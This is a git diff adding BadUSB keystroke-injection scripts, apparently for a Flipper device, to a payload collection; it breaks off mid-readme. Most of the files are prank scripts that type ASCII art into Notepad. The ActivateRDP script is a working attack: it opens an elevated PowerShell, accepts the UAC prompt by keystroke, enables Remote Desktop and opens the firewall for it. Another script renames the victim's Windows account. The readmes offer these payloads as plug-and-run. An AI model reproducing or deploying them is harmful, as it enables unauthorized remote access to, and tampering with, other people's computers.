..,,:rXB&BGH@@@#&3AH#@@#MHhXissGiriS2XXM +ENTER +STRING #MB#AH@@G3r:;risXAA92@@@@@&rrs, .... .,:::r93GHAM#HGXS5XhA#@@@@MAGXsrrr;:,,;G +ENTER +STRING #AAA&BMHB@@#3ssiiXG9H@@@##@#s,,. ... .. ...,,:r39HHG2s;::;;s2XH@@@@@@@@@##@HH9G&9 +ENTER +STRING #A&925GAAB##@A3A3r;&@@@##@@Hr .... .:;sS5X5r;;;i3AB##@@@@@@@@@@@@@@@B2s;5 +ENTER +STRING #AAHHHH&32&&33X5Sr2@@@@##@#HHr .,. .:ri25i2A#@@@@@@@@@@@@@@@@@#@@@@@@AS9 +ENTER +STRING #H&AG22iri2SrrsiG@@@@@#B@MBAAMAAS;;;. :iX9AM#@@@@@@@@@@@@@@@@@@@@@@AHB#@@@@# +ENTER +STRING @M&h52r2GHXX&HB#@@@#@#M@MGh9HM@@#@@#AXirr;:,,,rXH@MH@@@@@@@@####@@@@@@@@@@@@@#G&9H@#B# +ENTER +STRING @#AXX92S2X5iSS2@@###@@##AhGAH@#B@#HM#@@@@@@@####@@M#@@@@@#A9B#@@@@@@@@@@@@@@#@M#@@AM +ENTER +STRING @@@BHAGX25222i2@@@##@@@@AA#@B@#GG&BBHB##@@#MH#@@@@@@@#MMh9@B#@######@@@@@@@@@M#@@@## +ENTER +STRING @@@@#MMBHHMMBAM@@@@@@#@#A###@H#@M&&hGAHM###BM#@@@@@@###BB#B@MHA25hHAHB#@@@@@@@@AXGG#@@ +ENTER +STRING @#@#GAA&HBBAB##@@@@@@@@#M@#@#H#@MH#HBBM@#HH##@@@@@@@#@##@@@MBH2XG&H&BM#@@@@@@@@@BBA@@@ +ENTER +STRING ##@2iisii5is5A#@@@@@@@@@#@@@##@@#@@@@@@#H#BM@@@@@@@@@@#@@@#AB&XG9hHM@@@@@@##@@@@@@#@@@ +ENTER +STRING @#XsrsrrrrrrS#@#@@@#@@@@@@@@M#@@@@#@@@#HHM#@@@@@@@@@@@@@@#AHBh9AA#@@@@@@@@@#M@@@#hAh#@ +ENTER +STRING #GSX222Xis5S#@@@@@@@@@@@#@@@##@@@@@@@@MMM@@@#@@@@@@@@@@@#BAH#AA#@@@@@@@@@@@###@@@AGG3M +ENTER +STRING #@@@#MMMMB#@@@@@#MM#@@@@@@@@##@@@@@@####@@###@@@@@@@@@@@#MB@@@@@@@#@@@@@@@@@#@@@@@@@@# +ENTER +STRING ####MHAB#@@@@@@#MMBB##@@@@@@@#@@@@@##@#####@@@@@@@@@@@@@##@@@@@@@##@@@@@@@@@@@@@@@@@@@ +ENTER +STRING #MHHH&H@@@@##@@MBHHHB##@#@@@@#@#@@@#@####@@@##@@@@@@@@@@##@@@@@@##@@@@@@@@@@@@@@#####@ +ENTER +STRING ###BB@@@@@###MMBH&&AM####@@@####@@@@#B#@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###M#@ +ENTER +STRING #M#M@@@@###BAM#@###M##M##@@@#@@@@@@MB#@@@@@@@@@@@@@@@@@@@@@@@@####@#@@@@@@@@@@@####M#@ +ENTER +STRING ###@@##M@@@@@@@@@@@@@@##@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@###B##@@@@@@@@###@@#B@ +ENTER +STRING @@@@@##@@#@H&&ABAHHB@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@###@@@@@@@@###@@@@#@ +ENTER +STRING @@@@#@#@MH&AiG&A3&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @#@@##@@BHHGGXrXA23GXS#@Mh529H@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@##@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@##@@B#Xi2SH&SA3Xihi. ,;SA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@####@@@@@@@@@@@@@#@@@@@ +ENTER +STRING @@@@##@@##X5M#32#BAH@5: ..,;3@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @#@@@@@@@#H#@SH@#MA#B3r,:,::,...... ;XA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @####@#@@@@@#A@MMHA#A@hiS5Sir::,,,,,.. .rA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @#######@@##@@@@@@#@#@@MM#H95sr;;:;;,.:: .2H###&9AH##ASs2GG&&H@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @#@@@@###@@@@@@@@#@@@@@@@@#hSSisrrsir:rH@X. .riiir:;SSSh92i2A&AAA#@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@MXir,;G&X2555ii32;,2@@#Sr5X29AA9AG9BMA22B#MBM#@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@@#@@@A;:ri:.:rG#HhXXi;rA#i.,X@@#&22h#hHG3B@@#HM#BBB@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@#@@##@@iiA2;rr,:r3##GhAh;.r#@i;rG@@@H#MM#M@#GX#@###@@###@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@###@########@#iGSr3&r;:rsX##&X#@3:,A@#irSB@@##@#M@@@##@@##@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@##@@#@@#######@#X9SAB5i;rXh&B@@@H#@#&hA@@MirA@#@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@@##@@#BAA2srX#@@@@@@@@@@@@@#M#@@#H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@##@@@@@@@##@@@@@@#HSiA@@@@#M##B##@#M#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @#@@@#####@@####@@@@@@@9H@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @#@#@##@@@@@@####@@@@@@MH@@@##@@@#####@@@@@@#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@#@@@###@@##@#@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@##@@##@@#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@ +ENTER +STRING @@@@@@@###@@@@@@@@#@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@###@@@@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@#@@@#@#########@@@@@@@########@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeThonkASCII.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeThonkASCII.txt new file mode 100644 index 0000000..cd95b06 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeThonkASCII.txt @@ -0,0 +1,112 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 1000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +GUI UPARROW +DELAY 500 +STRING ::--=====--::. .... +ENTER +STRING .-**=::.. .:--=*#= :***======+**+: +ENTER +STRING :#*- -#+. :**. :=*+. +ENTER +STRING .**. :#%=. .#+ +ENTER +STRING #: %+ -%: +ENTER +STRING #- .:-==++++==--:-@ .%= +ENTER +STRING - :+++=-::.....:::-===++: .:-=======-: *+ +ENTER +STRING .=%+. .=%##*=-::. ....-=+**+%- +ENTER +STRING +- =%- .=#*: +ENTER +STRING +* .-*+: +ENTER +STRING =%. *+ +ENTER +STRING .-=++====++++++*+++++*++=.-@: .::---:*%. +ENTER +STRING .=*+=:::--==+++++=---=**+-..:+*#% :++****+++++++++: +ENTER +STRING +#- -+**++=-::. .:-+#*: -#*. =%- :+**+=---=-==++*#%#. +ENTER +STRING .#- +#=. .+#+-.:#= *+ .#*: -*#*++++*#**- #%- +ENTER +STRING #+=%= :-==++=+***********+++##*++**: @- -.-#@%*+++===: .*#+= +ENTER +STRING -:-+#@+: %@*:@@@@@@@@# **:*+*+ *@@%%@@@@@@#-**+--%- +ENTER +STRING :+**=%@@@#@@@- :@@ ** +#. =%=@@*+@@@==%@- .-+%+ +ENTER +STRING ==. -*@@@=#@@*==#@@ #+.% #+ +@@%=@@%-:#@= :*%= +ENTER +STRING -#*. :=*#%@@@@@@= :=+@* %+=*@@@@@@@@@@%::=#+.#. +ENTER +STRING :**-. .-=+*#*******=:. #- .:-=++++*****+=-. :%- +ENTER +STRING :=++++++++++========+++: .==-:....: +***%%. +ENTER +STRING ....:%*. -*%=--: --=*#:-%- +ENTER +STRING =***+ =%: .*= :-:. #: +ENTER +STRING .:::. .-+*+- :+. -@= +ENTER +STRING -****=--. .:=***+- .. =*=% +ENTER +STRING =*.##+****+-. .+=: #. *+ +ENTER +STRING -@ =-..:=+++++==-:. -#: =#. +ENTER +STRING =%= :*#+=:. :--+****+=--:. -#+ -%- +ENTER +STRING -#+- .:=+**+-. .:--=++****###***++++=----==+++***= =# +ENTER +STRING .-+++- .-=+++++++++++==-:. ...::::::.... -*+-#. +ENTER +STRING -**+-. ..-=+*******++****++++++***#**= # +ENTER +STRING .-+#=: .... :#: +ENTER +STRING .-+++=-::.. .-+@ +ENTER +STRING .:--=++********++======++**#**#*****+. @. +ENTER +STRING ..:::... -# +ENTER +STRING .=+++=+*+.:** +ENTER +STRING =#*: :#%. +ENTER +STRING -#= *#-. +ENTER +STRING :-=-..-+%#. .. :=++: +ENTER +STRING .#=..-#@- -# .+#=%%*#: -= =#+. +ENTER +STRING =+ -# ** =#*:.#* =%+#=. :#+ +ENTER +STRING *+. -+++%++- :++.-%%*: -*. +ENTER +STRING -#+ *= :#*-**=. .#* +ENTER +STRING +#. =##+.*#. :*- =%. +ENTER +STRING -* ++:%= -#=. -%: +ENTER +STRING :# .+@#. =# =%- .#- +ENTER +STRING =# :*+-::** -#= :*: #. +ENTER +STRING .#*#: :--%= :%= =#. .% +ENTER +STRING :: .- .-. -: .- -. + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeWowASCII.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeWowASCII.txt new file mode 100644 index 0000000..6549a7b --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeWowASCII.txt @@ -0,0 +1,102 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 1000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +GUI UPARROW +DELAY 500 +ENTER +ENTER +ENTER +STRING .:--------::. ..::::::. +ENTER +STRING .=+***++++++++++**+=-: .:==++***++++++***=. +ENTER +STRING .=**++++++++++++++******#%*=*##*+++++++++++++**###+++++++=- +ENTER +STRING -**++++++++**########***********####+++++++++*##*++++*########+==-: +ENTER +STRING -**+++++++####*+++++++++*############%%###*++++++++####*+++*******++*##+: +ENTER +STRING :***+++++*##*++++++++*####****#########**++**#%*+*###*+*#*+==--:::--=++*##**+. +ENTER +STRING +#**+++++*#++++++++*##*+*#*+=:. .-=+*#*+@#*++*#+: .=*#% +ENTER +STRING +****+++++++++++++##*+*#*- . -+%*++%= :=*##*=. -= +ENTER +STRING +****++++++++++++*#+++#+. .+#@@@@@#=.-#%: .#@@@@@@@@#. -: +ENTER +STRING -#****++++++++++++***#*. *@@@@@@@@@@@= +* .@@++@@##@@@% -+ +ENTER +STRING %*****+++++++++*#+=:. *@@*=#@%*+#@@@- =+ -@@+*@- .@@@: .* +ENTER +STRING =#****++++++++++%- @@@*=#@ #@@+ % %@@*%%=-*@@% .* +ENTER +STRING #*****++++++++++*#*+=- #@@@@%@+::=@@@- @: .*@@@@@@@@* .+: +ENTER +STRING %*****+++++++++++++++*#+. .#@@#=@@@@@@@+ +##*- .=+**+=. -+. +ENTER +STRING :#*****++++++++++++++++++#*- -#@@@@@@%+. .*#+++*#*+-. .-+%- +ENTER +STRING =#*****+++++++++++++++*#*++*#+: .::. :*@*++++++++*##**+++++++**#**+#: +ENTER +STRING +******+++++++++++++++++##*+++*#*=:. .:=*#*##++++++++*####************+-. +ENTER +STRING +******+++++++++++++++++++*###**++*##***+++++**##**+*##+++++++++++++****#####*#: +ENTER +STRING *******+++++++++++++++++++++++**#######*********#####*+++++++++++++++++++++++++***+= +ENTER +STRING *******++++++++++++++++++++++++++++++++**********++++++++++++++++++++++++++++++++++*# +ENTER +STRING ******+++++++++++++++++++++++++++++++++++++++++++++++++++***######################*+#. +ENTER +STRING ******+++++++++++++++++++++++++++++++++++++++++**##########***********************#%%. +ENTER +STRING #*****+++++++++++++++++++++++++++++++++++*#######*************################******# +ENTER +STRING *******++++++++++++++++++++++++++++**#####**********#######%%#####***********#%***#= +ENTER +STRING =#*****++++++++++++++++++++++++*####********###%%%%%###*#########*#**********%#*#= +ENTER +STRING :#*****++++++++++++++++++++++#%#*******##%%%%###########*#########**#******#%***- +ENTER +STRING .%*****++++++++++++++++++++++%#****#%%%%##########################*##******@***# +ENTER +STRING #******+++++++++++++++++++++#%***%%###############################*#******@***# +ENTER +STRING =******+++++++++++++++++++++*@**%%%###############################********@***#: +ENTER +STRING .#******+++++++++++++++++++++%#*#%#%#############################*********@***#: +ENTER +STRING ********++++++++++++++++++++*%***%%%############################*********%#**#- +ENTER +STRING :%*******++++++++++++++++++++*%****#%%#######################************##***= +ENTER +STRING -#*******+++++++++++++++++++++##****#%####################**************#%***+ +ENTER +STRING -#*******+++++++++++++++++++++*%#****%%################*****************@***+ +ENTER +STRING -#*******++++++++++++++++++++++*%****#%##*######**#********************@***+ +ENTER +STRING .*********++++++++++++++++++++++##*****#%##*#*************************@***+ +ENTER +STRING =#*******++++++++++++++++++++++*###*****###************************%#***= +ENTER +STRING +#********++++++++++++++++++++++*###*****####****************####****#- +ENTER +STRING :+#********+++++++++++++++++++++++*###******################********#. +ENTER +STRING .+#*********+++++++++++++++++++++++*####**********************##%*. +ENTER +STRING :+*#*******+++++++++++++++++++++++++*########################- +ENTER +STRING .:=++*##****+++++++++++++++++++++++++++++++**+++++++++**- +ENTER +STRING .:-==+**#***++++++++++++++++++++++++++++****+=-. +ENTER +STRING .::--==++++++++++++=========--:. \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/RickRoll.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/RickRoll.txt new file mode 100644 index 0000000..a06eb24 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/RickRoll.txt @@ -0,0 +1,112 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 1200 +GUI r +DELAY 600 +STRING notepad +ENTER +DELAY 750 +GUI UPARROW +DELAY 500 +STRING K00KKKKKKKKOOOOOOOOOOO0KKKKXKK00O000OOOOOOkkkkOO0KKKKKKXKKKKXKKKKK0OkxxkxxxxxxkO000KKKKKKKK000000000 +ENTER +STRING 0000OO0O0OOOO000OO0000KKKK000OkkkkkkkkxxxxkkkkxkkkkkkOO00OOO00KKKKK0OkxxxxxxxxxkO00KKKKKKKKKK0000000 +ENTER +STRING KKK0000OOOOOO0000000000OOOkkkkkOOOOkkkkkkxoolcclc:;;:clodkOOkkOOOOOOOkxxxxxkkkxxkkOOO000O00000000000 +ENTER +STRING XXXXXXXKKKKK00000000000000OOkOOOOOkkkkkOOo:,'',,,,,,,',,:ldkkkkkkxxxxxxxxxkkkkxxkxxkkOOOO00KKKXK00KK +ENTER +STRING XXXXXXXXXNNXXK00000000KKXKKK00OOkkkOkkkkdl;,'.'..''''''',;;lxOkOOOkkkkxxkkkkkkkkkkkO0KKKKKXNNNNXK0KX +ENTER +STRING XXXXXXXNNNNXKK000000000KXXXXKKKOOOO0OOOkoc:;;;,,',,,,,,,,,,;lO00K000OkkkkkkkkO00KKKKXKXXXXXNNNNNX00K +ENTER +STRING XNNXXXXXKKKK00000000KK00KKKKK000OOO00kdloolooodoooddddool;,,cOKK000OkkkkkkkkkkO0KKKKXXXXXXXXNNNNK000 +ENTER +STRING XXXXKK000000KXK0000KKK0000OOOOOOOkkkkd:codlloddddxxxxxxxxl;,lkOOkkkkkkkkxkkkkkkOO000KKKXXXXXNNNNXK00 +ENTER +STRING K0K0000000KXXXK00000KXK0000000000Okkkdcldolccloddddxxxkxxo:;lkkkkxxxk00kxkkkkkkkkkkkk00KXKXXXNNNNNXK +ENTER +STRING 000000000XXNNX000000K0000KXXXXXXXK0Okkdddl::::codolllodddo::x0OkkkxxkOOkxkkkkOOOkkkkkkOO000KXNNNXXXX +ENTER +STRING KKKK0000KXNNNXKK000000KKKXNNNNXXXXX0xkOkdllccccoxxdolloodlcx0KKKKOkxxkkkkkkkkO000OkkkkkkkkOO0XXXXXXK +ENTER +STRING XXNXXKKKKXNWNXKKKKKKKXNNNNNNXXXXXXXOodOkolllllloxxxxxxxxdooOKKKKKKOOkkkkkkkkkOK000kkkkkkkkkkOO0KKXKK +ENTER +STRING XNNXXNXKKKXNNXKKKKKKKKNNNNNNXXXXXXX0xdkkollllccoddxxxxxxdddOKKKKKK0K0OkkkkkkkOKKKOkkkkO000OkkkkkO0KK +ENTER +STRING XXXXKK00KKKKKKK00K000KXNNNNNNNXXXXXK0O0kolllllodxxxxxxxddxk0KKK0KK0K0kkxxkkkkO00OkkOO000000OkkkkkkkO +ENTER +STRING KXXK000KXXXK0K000K00KXNWNNNNNNXXXXXK0KKkollcccloddddxxxkOOKK0KK0KK0K0kxxxxkkxkkkkkkkOO000K00OOkkkkkk +ENTER +STRING 00000KXNNNNNKK0000000KNNNNNNNNXXXXXK000kdollloodxxxdddx0K0KK0KK0KK0KKOkxxxxxxxxk00OkkkOKKK0OOkkOOOOO +ENTER +STRING 00000XNNNNNNXK0000000000KNNXNNXXXK0Okkkdolllclodddddddk000KK0KK0K000Okkxxxxxxkk000K0OkO000Okkkk00K0O +ENTER +STRING XXK00XNNNNNNX00000KKK0000KXXNNXXKOkkkkkdllccccclooodddxdxO0KKKKKK0OkkkkkkxxxxkO0KKKKK0OOOOOOOkkO00Ok +ENTER +STRING XNNK0KXNNNNNK00000KXNXK00OO00000Okkkkkkdllllloddddxddkx:;lx00K00OkkxkkOOkxxkkkO0KKKKK0O0KKXK0Okkkkkk +ENTER +STRING XXNK00XNNXNNK000000KK000OOOOkkkkkkOOOxooolllloodddddkOo'..';loddxxxkO00OkkkkkkO000KKKOOKXXXKK0OkkkO0 +ENTER +STRING XXXX0OKXXXXXKOOOOO00OOO00KK0OOxxdxkOOxoodoollooooxxk0Oc.......'';::cllodxxkkkkO000KK0O0KXXXXK0OkkkO0 +ENTER +STRING XXXXKO0KXXXX0OOOOOOOOO0KK0Oxol:;:okOOkooooolllodkO00Oo,................',;:cldO00000Ok0XXKXK0kkxkkkk +ENTER +STRING KXXXKOO00KXKOkkkkOOOOkkxoc:,'...'lkkkxlccclddxkOO00kl'.......................,oO0000kk0KKKX0kkkkkxxk +ENTER +STRING 0KK00OOOOOO0Okkkkkkdl:;,'.......'cxxddc:ccoxkOO00xo:..........................,d0OOkkk0KKK0kkxO0OOkx +ENTER +STRING OOOOO0KKK0OOOkkkkkx:.............',':lc::clolodxd:,............................lOkkkkkkO00kxkkO000Ox +ENTER +STRING kOOO0XXXXXX0OOOkkkd;................;cc::cloooll:'.............................'okOOOkxkkkxxkO0KKKOk +ENTER +STRING kkO0KXXXXNNKOOOkkko,................;cccccllllc:,...............................,dO00OkkxxxxxkkOO0Ok +ENTER +STRING kkkOKXXXXXXKOOOkkko'................;cloolccc::;................................,dOO0OOkkxxxxkkkkkkk +ENTER +STRING kkkkO0XKKXX0Okkkkko,................;cldxoc::;;'.................................cxOOOOkkkxxkO0000Ok +ENTER +STRING OkkkkOKKKXX0Okkkkxl'................;:oxxo:;;;,...................................;k0Okkkkkkkk0KKXK0 +ENTER +STRING 0kkkkO0KXXX0OOkkkx:.................';lxkl;;;;,......................... .......:dxkkkOOOkk0XXXXX +ENTER +STRING 00OkkOO0KXX0OOkkkx:.................',:loc;:::'........''.............. .........':okO00OkOKXXXN +ENTER +STRING KKOkOOOOKXX0OOkkkx:..................,;::::::;.........:llolcccc:'..... .. .........;lk00OkOKXXX +ENTER +STRING OOkkO0OO0KX0OOkkkx:..... ............;:c::::;'.........:::clllllol;..... . ..........';okkk0KXX +ENTER +STRING xkkk0K0OO0KOkkkkkkl.... ............;:::;;;,..........';:cllllllol:.... ..............:xkk0KK +ENTER +STRING xkkkO0K0OOOOkkkkkko.... ...........,;;;,,,'...........';:ccllllloo:........................;xkkO0K +ENTER +STRING OO00OOOOkkkkkkkxxkc..... ..........',;;,''.............';:ccllllooc'.......................;xkxk0K +ENTER +STRING 00KKK0Okkkkkkkxxxxc..... ..........,;;,,,......... .........,;cllc,.......................'oxxxOO +ENTER +STRING 000KK0OOOkkkkkxxxd;........ .........';;,,,... ..,,'.. ......................:dxxxx +ENTER +STRING 000K0K000Okkkxxxxd:,,'...,:ccllc::;'..,;;;;,. ..,;,................:dddxx +ENTER +STRING OO00OO000Okkkxxxxxo,...,clolcc::;;,...,;;;,'. . ..................,cdddddx +ENTER +STRING O0000000Okkxxxxxdxo,..,,':l:;;;;;;,...,;;,'.. .'''........'',;:oxkxddodd +ENTER +STRING OOO0OOkkkxxxxxxxddd:''...';;;;;;;;'...,,,'.. ... .cddoollloodxxxkkkkkxdoood +ENTER +STRING OO0Okxxxxxxxxxxdddddc,....',;;,;;,. .'',,... .... .,dddxxxddddxxxxkxxdoooooo +ENTER +STRING kkkxxxxxxxxxddddddxdolc:,...',,''.. ..',,... ..'lddxxddddddxxxxxdooooooo +ENTER +STRING dddddxkkkxddddddddxkdoooc;'..... ..''.. .......cddddddddddddddddoddoooo +ENTER +STRING ooddxkkOkxdddddddxxkkxdooollc:,. .''. .........;dddddddddddddooodddoooo +ENTER +STRING oodxkkkkkxddddddddxkkkkdollool,... .''','.. .........,lddddddddddddddddddoooo +ENTER +STRING oodxkkkkkdddddddodxxxxxdollol:......,;;,,'. .........:oooddddddddoodddddoooo +ENTER +STRING ooodxxkkxddddoooodxkkxdollllc;......,;;,,'. .........,looooooooooooooddooooo +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/SimpleTroll.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/SimpleTroll.txt new file mode 100644 index 0000000..3a2e4c4 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/SimpleTroll.txt @@ -0,0 +1,28 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 2000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +GUI UPARROW +DELAY 500 +STRING _ _ _____ _ ________ _____ ______ __ _ _ _ _ _____ ______ ________ _____ ______ _____ +ENTER +STRING | | | | /\ / ____| |/ / ____| __ \ | _ \ \ / / | | | | \ | |/ ____/ __ \ \ / / ____| __ \| ____| __ \ +ENTER +STRING | |__| | / \ | | | ' /| |__ | | | | | |_) \ \_/ / | | | | \| | | | | | \ \ / /| |__ | |__) | |__ | | | | +ENTER +STRING | __ | / /\ \| | | < | __| | | | | | _ < \ / | | | | . ` | | | | | |\ \/ / | __| | _ /| __| | | | | +ENTER +STRING | | | |/ ____ \ |____| . \| |____| |__| | | |_) | | | | |__| | |\ | |___| |__| | \ / | |____| | \ \| |____| |__| | +ENTER +STRING |_| |_/_/ \_\_____|_|\_\______|_____/ |____/ |_| \____/|_| \_|\_____\____/ \/ |______|_| \_\______|_____/ +ENTER +DELAY 2000 +CTRL HOME +DELAY 2000 +CTRL END \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/readme.md new file mode 100644 index 0000000..00b209e --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/readme.md @@ -0,0 +1,44 @@ + +# WriteAscii + +These scripts will open notepad and print out some Ascii images. + + + + +## How to use? + +These scripts are easy to use. Just plug the Flipper in and run the scripts. No internet connection required. + + + + +## Features + +- open new .txt file +- print the image +- Fullscreen mode + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/ActivateRDP.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/ActivateRDP.txt new file mode 100644 index 0000000..705eaae --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/ActivateRDP.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Activates Remote Desktop. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1200 +ALT y +DELAY 1200 +GUI UP +DELAY 1200 +STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/readme.md new file mode 100644 index 0000000..b2a58cd --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ActivateRDP/readme.md @@ -0,0 +1,44 @@ + +# ActivateRDP + +This script enables Remote Desktop connections and requires RDP authentication, so it opens the necessary firewall ports to allow incoming connections. + + + + +## How to use? + +This script is easy to use. Plug the Flipper in and run the script. + + + + +## Features + +- allows remote connections +- enables RDP authentication +- allow incoming remote connections + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/ChangeWinUsername.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/ChangeWinUsername.txt new file mode 100644 index 0000000..e7b943e --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/ChangeWinUsername.txt @@ -0,0 +1,26 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Changes the Windows 10 username to the name of your choice. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING $User = ([Environment]::UserName) +DELAY 300 +ENTER +DELAY 500 +STRING Rename-LocalUser -Name $User -NewName "New Name" +DELAY 300 +ENTER +DELAY 500 +exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/readme.md new file mode 100644 index 0000000..f2c6314 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/readme.md @@ -0,0 +1,43 @@ + +# ChangeWinUsername + +This script simply changes the Windows Username. + + + + +## How to use? + +This script is not plug and play. You need to 